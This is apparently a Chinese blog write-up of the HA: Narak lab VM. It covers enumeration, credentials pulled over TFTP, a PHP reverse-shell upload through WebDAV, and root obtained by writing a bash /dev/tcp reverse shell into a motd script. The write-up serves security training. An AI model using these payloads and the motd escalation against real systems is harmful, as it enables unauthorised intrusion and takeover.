Narak靶场笔记

Narak靶场笔记

信息收集与getshell

第一步先扫描网段ip

1
nmap -sn 192.168.89.0/24

发现新增ip 192.168.89.131

扫描该ip开放的端口

1
nmap -sT --min-rate 10000 -p- 192.168.89.131

22/tcp open ssh
80/tcp open http

发现只开放了两个端口

进行端口详细扫描

1
nmap -sT -sV -sC -O -p22,80 192.168.89.131 -oA nmapscan/detail

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71:bd:59:2d:22:1e:b3:6b:4f:06:bf:83:e1:cc:92:43 (RSA)
| 256 f8:ec:45:84:7f:29:33:b2:8d:fc:7d:07:28:93:31:b0 (ECDSA)
|_ 256 d0:94:36:96:04:80:33:10:40:68:32:21:cb:ae:68:f9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HA: NARAK
MAC Address: 00:0C:29:B2:10:90 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

使用gobuster爆破网站目录

1
gobuster dir -u http://192.168.89.131 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

扫描结果

images (Status: 301) [Size: 317] [–> http://192.168.89.131/images/]
webdav (Status: 401) [Size: 461]
server-status (Status: 403) [Size: 279]

发现webdav需要登陆用户和密码

再次扫描,尝试找到文件

1
gobuster dir -u http://192.168.89.131 -x rar,zip,sql,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

这一次扫出了tips.txt

获取到关键信息creds.txt

但是直接访问是访问不到的

扫描UDP

1
nmap -sU --top-ports 20 192.168.89.131

69端口tftp协议开放,尝试访问

creds.txt文件内容

1
eWFtZG9vdDpTd2FyZw==

base64解码

1
yamdoot:Swarg

成功登录/webdav,没看到有什么东西

使用davtest工具

1
davtest -url http://192.168.89.131/webdav -auth yamdoot:Swarg

登录dav的服务器,查看上传的文件

可以看到上传成功

写一个可以反弹shell的php文件

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.89.130/4444 0>&1'");?> 

使用dav服务器上传

在kali监听端口

1
nc -lvnp 1234 

在web端/webdav刷新发现文件成功上传,访问1.php

看到监听的端口getshell

此时权限较低,是www-data

提权

看一下哪些文件可写

1
find / -writable -type f 2>/dev/null

-type f 只匹配普通文件

2>/dev/null 排除错误信息

除去一些目录

1
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

/proc 是 Linux 的“内核信息窗口”,不是普通文件夹,而是内核实时生成的虚拟文件系统

里面的内容不在磁盘上,而是系统运行时动态提供的

/sys/ 目录大概率没有写入权限

看一下输出结果,有一些值得关注的

查看文件内容的时候找到了一些信息

使用brainfuck(一种编程语言),写的一句话

找个在线工具运行一下看看结果

猜测是一个密码

查看全部的用户

尝试bin/bash的用户即可

nologin 表示该用户不能用来交互式登录系统

尝试后登录到inferno用户,有比www用户更高的权限

利用inferno进行motd提权

进入update-motd.d目录,查看00-header 文件(一般是执行欢迎动作的脚本)

motd脚本是全局性的,而且一般可执行,有写入权限就可以用来写入反弹shell

1
bash -c "bash -i >& /dev/tcp/192.168.89.130/4445 0>&1"

退出重新登录一下inferno,发现给我们返回了root权限

找一下flag

结束

总结

网段扫描->发现新增ip

端口扫描->两个端口开放22和80

查看网站,进行web目录爆破->发现/wendav但是需要用户名和密码

扫描UDP->发现69湍口开放了tftp传输

指定后缀进行目录爆破(zip,rar,txt)->找到一个txt文件,给出关键信息在creds.txt

通过tftp获取到creds.txt,得到webdav的用户名和密码

使用davtest测试可执行后缀的后门文件 -> php,html,txt

使用cadaver上传一个可执行php木马->成功获取到web用户shell

查找有写入权限的文件->关注.sh,passwd,有可执行脚本的文件

找到一个/mnt/hell.sh,发现是brainfuck程序语言->解码后得到一个用户密码

查找所有用户,尝试登录有交互权限的用户->登录到inferno

进入/etc/update-motd.d->将反弹shell命令写入00-header(root权限运行的脚本)

得到root权限

一些知识点

nmap参数详解

-sn 禁用端口扫描

-sT 指定TCP扫描

-sV 探测各服务版本

-sC 默认脚本扫描

-O 指定系统操作版本

-p 指定端口

-oA 指定扫描结果输出到文件

webdav

WebDAV是一组基于超文本传输协议的技术集合,有利于用户间协同编辑和管理存储在万维网服务器文档。

通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件。

gobuster

-x 扫描指定后缀的文件

tftp

https://wangchujiang.com/linux-command/c/tftp.html

在本机和tftp服务器之间使用TFTP协议传输文件

补充说明

tftp命令 用在本机和tftp服务器之间使用TFTP协议传输文件。

TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面:一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置。

tftp使用

复制一个文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试。

1
2
3
4
5
tftp 192.168.1.2
tftp>get <download file>

tftp>put <upload file>
tftp>q

davtest

https://code.google.com/archive/p/davtest/wikis/Usage.wiki

利用此工具测试什么后缀的文件能上传并执行,为后续写后门文件反弹shell做准备

brainfuck

https://en.wikipedia.org/wiki/Brainfuck

Brainfuck是一种深奥的编程语言,由瑞士学生 Urban Müller 于 1993 年创建。 1 [] 该语言的设计理念极简主义仅包含八个简单的命令、一个数据指针和一个指令指针。[ 2 ]

motd

https://www.cnblogs.com/mant/articles/17632359.html

在Linux操作系统中,/etc/issue/etc/motd文件都是系统管理员可以使用来显示系统信息和欢迎信息的关键文件。这些文件通常位于/etc目录中,是用户在登录时第一个看到的内容。/etc/issue文件提供了一些基本的系统信息,例如操作系统名称版本号内核版本等。而/etc/motd文件则通常包含了一些系统管理员可以添加的欢迎信息、系统安全提示或者重要公告等。这些文件对于系统的安全性、稳定性和可用性都有很大的影响,因此系统管理员需要对它们进行适当的配置和维护。

反弹shell

在motd脚本执行成功后我还在思考为什么给返回了root权限

ai给出一些解释

在很多系统(尤其 Ubuntu)中:

👉 motd 脚本是 root 执行的

❗ 修改或写入 /etc/update-motd.d/ 里的脚本

当有人登录时:

👉 root 执行这个脚本
👉 你的反弹 shell = root

那么反弹shell给到的shell权限,取决于我们将命令写入的脚本是什么身份的用户在运行


Narak靶场笔记
http://huang-d1.github.io/2026/03/27/Narak靶场笔记/
作者
huangdi
发布于
2026年3月27日
许可协议